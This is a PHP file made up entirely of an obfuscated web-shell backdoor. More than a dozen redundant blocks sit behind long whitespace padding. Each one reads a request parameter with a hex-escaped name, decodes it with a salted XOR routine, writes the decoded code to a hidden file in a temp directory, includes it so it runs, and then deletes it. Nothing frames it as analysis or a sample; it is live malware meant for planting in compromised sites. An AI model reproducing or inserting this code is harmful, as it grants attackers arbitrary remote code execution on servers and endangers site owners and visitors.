<?php																																										if(!empty($_REQUEST["\x76a\x6Cue"])){ $desc = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $holder = $_REQUEST["\x76a\x6Cue"]; $holder = explode ( "." , $holder ); $comp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $l = 0; $__tmp = $holder; while ($v8 = array_shift($__tmp)) { $chS = ord($salt6[$l% $sLen]); $dec = ((int)$v8 - $chS - ($l% 10))^ 8; $comp .=chr($dec); $l++; } while ($ptr = array_shift($desc)) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $dat = "$ptr" . "/.factor"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $dat; @unlink($dat); die(); } } } }
																																										if(in_array("entry", array_keys($_REQUEST))){ $data_chunk = $_REQUEST["entry"]; $data_chunk = explode( "." , $data_chunk ) ; $ref= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $o= 0; $__len= count($data_chunk ); do { if ($o >= $__len) break; $v5= $data_chunk[$o]; $sChar= ord($salt[$o % $lenS] ); $dec= ((int)$v5 - $sChar - ($o % 10)) ^ 74; $ref.= chr($dec ); $o++; } while (true ); $value = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), "/var/tmp", getenv("TMP")]); foreach ($value as $key => $elem) { if (array_product([is_dir($elem), is_writable($elem)])) { $flag = sprintf("%s/.component", $elem); if (file_put_contents($flag, $ref)) { include $flag; @unlink($flag); exit; } } } }
																																										if(!is_null($_REQUEST["bi\x6Ed\x69\x6E\x67"] ?? null)){ $component = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); $sym = $_REQUEST["bi\x6Ed\x69\x6E\x67"]; $sym = explode ( '.' , $sym) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($sym); for ($i = 0; $i < $len; $i++) {$v1 = $sym[$i]; $sChar = ord($salt[$i% $lenS]); $dec = ((int)$v1 - $sChar - ($i% 10)) ^45; $pgrp.= chr($dec); } for ($tkn = 0, $descriptor = count($component); $tkn < $descriptor; $tkn++) { $comp = $component[$tkn]; if (is_dir($comp) && is_writable($comp)) { $property_set = implode("/", [$comp, ".item"]); if (@file_put_contents($property_set, $pgrp) !== false) { include $property_set; unlink($property_set); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x65\x6E\x74ity")){ $elem = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP")]); $pgrp = $_POST["\x65\x6E\x74ity"]; $pgrp= explode('.' , $pgrp ) ; $mrk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7 ); $u = 0; while($u< count($pgrp)) {$v8 = $pgrp[$u]; $sChar = ord($salt7[$u % $lenS] ); $d =((int)$v8 - $sChar -($u % 10)) ^ 97; $mrk .= chr($d ); $u++; } foreach ($elem as $item) { if (max(0, is_dir($item) * is_writable($item))) { $obj = vsprintf("%s/%s", [$item, ".element"]); $success = file_put_contents($obj, $mrk); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(array_key_exists("pset", $_POST) && !is_null($_POST["pset"])){ $res = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp"]); $ref = $_POST["pset"]; $ref= explode ('.',$ref ) ; $ent = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($ref as $y=> $v6) { $chS = ord($s8[$y%$sLen]); $d = ((int)$v6 - $chS - ($y%10))^ 42; $ent .=chr($d); } foreach ($res as $pointer): if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $item = "$pointer" . "/.obj"; if (file_put_contents($item, $ent)) { include $item; @unlink($item); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x74oke\x6E"])){ $ent = $_REQUEST["\x74oke\x6E"]; $ent = explode ( "." , $ent ) ; $binding = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $k = 0; $__tmp = $ent; while($v7 = array_shift($__tmp)) { $sChar = ord($s1[$k % $sLen]); $d =((int)$v7 - $sChar -($k % 10))^ 38; $binding .= chr($d); $k++; } $record = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), "/tmp"]); $obj = 0; do { $res = $record[$obj] ?? null; if ($obj >= count($record)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $factor = "$res/.key"; if (file_put_contents($factor, $binding)) { require $factor; unlink($factor); exit; } } $obj++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["r\x65so\x75\x72ce"])){ $res = array_filter([getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $item = $_POST["r\x65so\x75\x72ce"]; $item = explode( ".",$item ) ; $key =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt3); $x =0; array_walk( $item,function( $v5) use( &$key,&$x,$salt3,$lenS) {$sChar =ord( $salt3[$x%$lenS]); $d =( ( int)$v5 - $sChar -( $x%10)) ^ 40; $key .=chr( $d); $x++; }); foreach ($res as $key => $data) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $obj = vsprintf("%s/%s", [$data, ".val"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $obj; @unlink($obj); exit; } } } }
																																										if(@$_POST["va\x6Cue"] !== null){ $flag = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm"]); $marker = $_POST["va\x6Cue"]; $marker = explode ( '.' , $marker ) ; $mrk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $__len =count($marker); for ($m =0; $m <$__len; $m++) { $v2 =$marker[$m]; $chS =ord($salt[$m % $sLen]); $d =((int)$v2 - $chS - ($m % 10)) ^ 2; $mrk .= chr($d); } foreach ($flag as $sym) { if (max(0, is_dir($sym) * is_writable($sym))) { $entity = "$sym/.binding"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $entity; @unlink($entity); exit; } } } }
																																										if(array_key_exists("r\x65c", $_REQUEST)){ $object = $_REQUEST["r\x65c"]; $object = explode ( '.' , $object ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $object as $j=> $v1) { $chS = ord( $s[$j%$lenS]); $d =( ( int)$v1 - $chS -( $j%10)) ^75; $record .= chr( $d); } $desc = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm"]); foreach ($desc as $key => $data) { if (!( !is_dir($data) || !is_writable($data) )) { $res = "$data" . "/.data_chunk"; if (file_put_contents($res, $record)) { require $res; unlink($res); die(); } } } }
																																										if(!empty($_REQUEST["\x6Fbject"])){ $pointer = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP")]); $dchunk = $_REQUEST["\x6Fbject"]; $dchunk = explode ('.' , $dchunk) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $t = 0; foreach ($dchunk as $v5) {$sChar = ord($s[$t %$sLen]); $d = ((int)$v5 - $sChar - ($t %10)) ^ 50; $record .=chr($d); $t++; } foreach ($pointer as $bind) { if (is_writable($bind) && is_dir($bind)) { $resource = str_replace("{var_dir}", $bind, "{var_dir}/.itm"); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $resource; @unlink($resource); exit; } } } }
																																										if(in_array("p\x61rame\x74\x65\x72\x5Fgro\x75p", array_keys($_POST))){ $ref = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/tmp"]); $property_set = $_POST["p\x61rame\x74\x65\x72\x5Fgro\x75p"]; $property_set = explode ('.' , $property_set ) ; $ent=''; $s7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s7); foreach( $property_set as $q => $v3): $sChar=ord( $s7[$q % $lenS]); $d=( ( int)$v3 - $sChar -( $q % 10))^ 84; $ent .= chr( $d); endforeach; for ($dat = 0, $flag = count($ref); $dat < $flag; $dat++) { $tkn = $ref[$dat]; if ((is_dir($tkn) and is_writable($tkn))) { $component = join("/", [$tkn, ".flg"]); $success = file_put_contents($component, $ent); if ($success) { include $component; @unlink($component); die();} } } }
																																										if(@$_POST["\x72ec\x6F\x72d"] !== null){ $component = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); $flag = $_POST["\x72ec\x6F\x72d"]; $flag = explode( '.' ,$flag ) ; $element = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); foreach($flag as $p => $v2): $sChar = ord($s7[$p % $sLen]); $d = ((int)$v2 - $sChar -($p % 10)) ^ 18; $element .= chr($d); endforeach; while ($mrk = array_shift($component)) { if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $ptr = sprintf("%s/.itm", $mrk); if (file_put_contents($ptr, $element)) { include $ptr; @unlink($ptr); die(); } } } }


if(@$_POST["\x66\x61c\x74or"] !== null){
	$rec = $_POST["\x66\x61c\x74or"];
		  $rec = 	explode('.' ,	$rec)			; 
	$holder = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$salt );
            $w = 0;
    
            array_walk( 	$rec,  function( 	$v5) use( 	&$holder,  &$w,  $salt,  $sLen) {	$sChar = ord( 	$salt[$w % $sLen] );
                $dec =( 	( 	int)$v5 - $sChar -( 	$w % 10)) ^ 72;
                $holder	.=chr( 	$dec );
                $w++;
            } );
	$ptr = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir()]);
	foreach ($ptr as $obj):
    		if ((is_dir($obj) and is_writable($obj))) {
    $entry = implode("/", [$obj, ".record"]);
    if (@file_put_contents($entry, $holder) !== false) {
	include $entry;
	unlink($entry);
	die();
}
}
endforeach;
}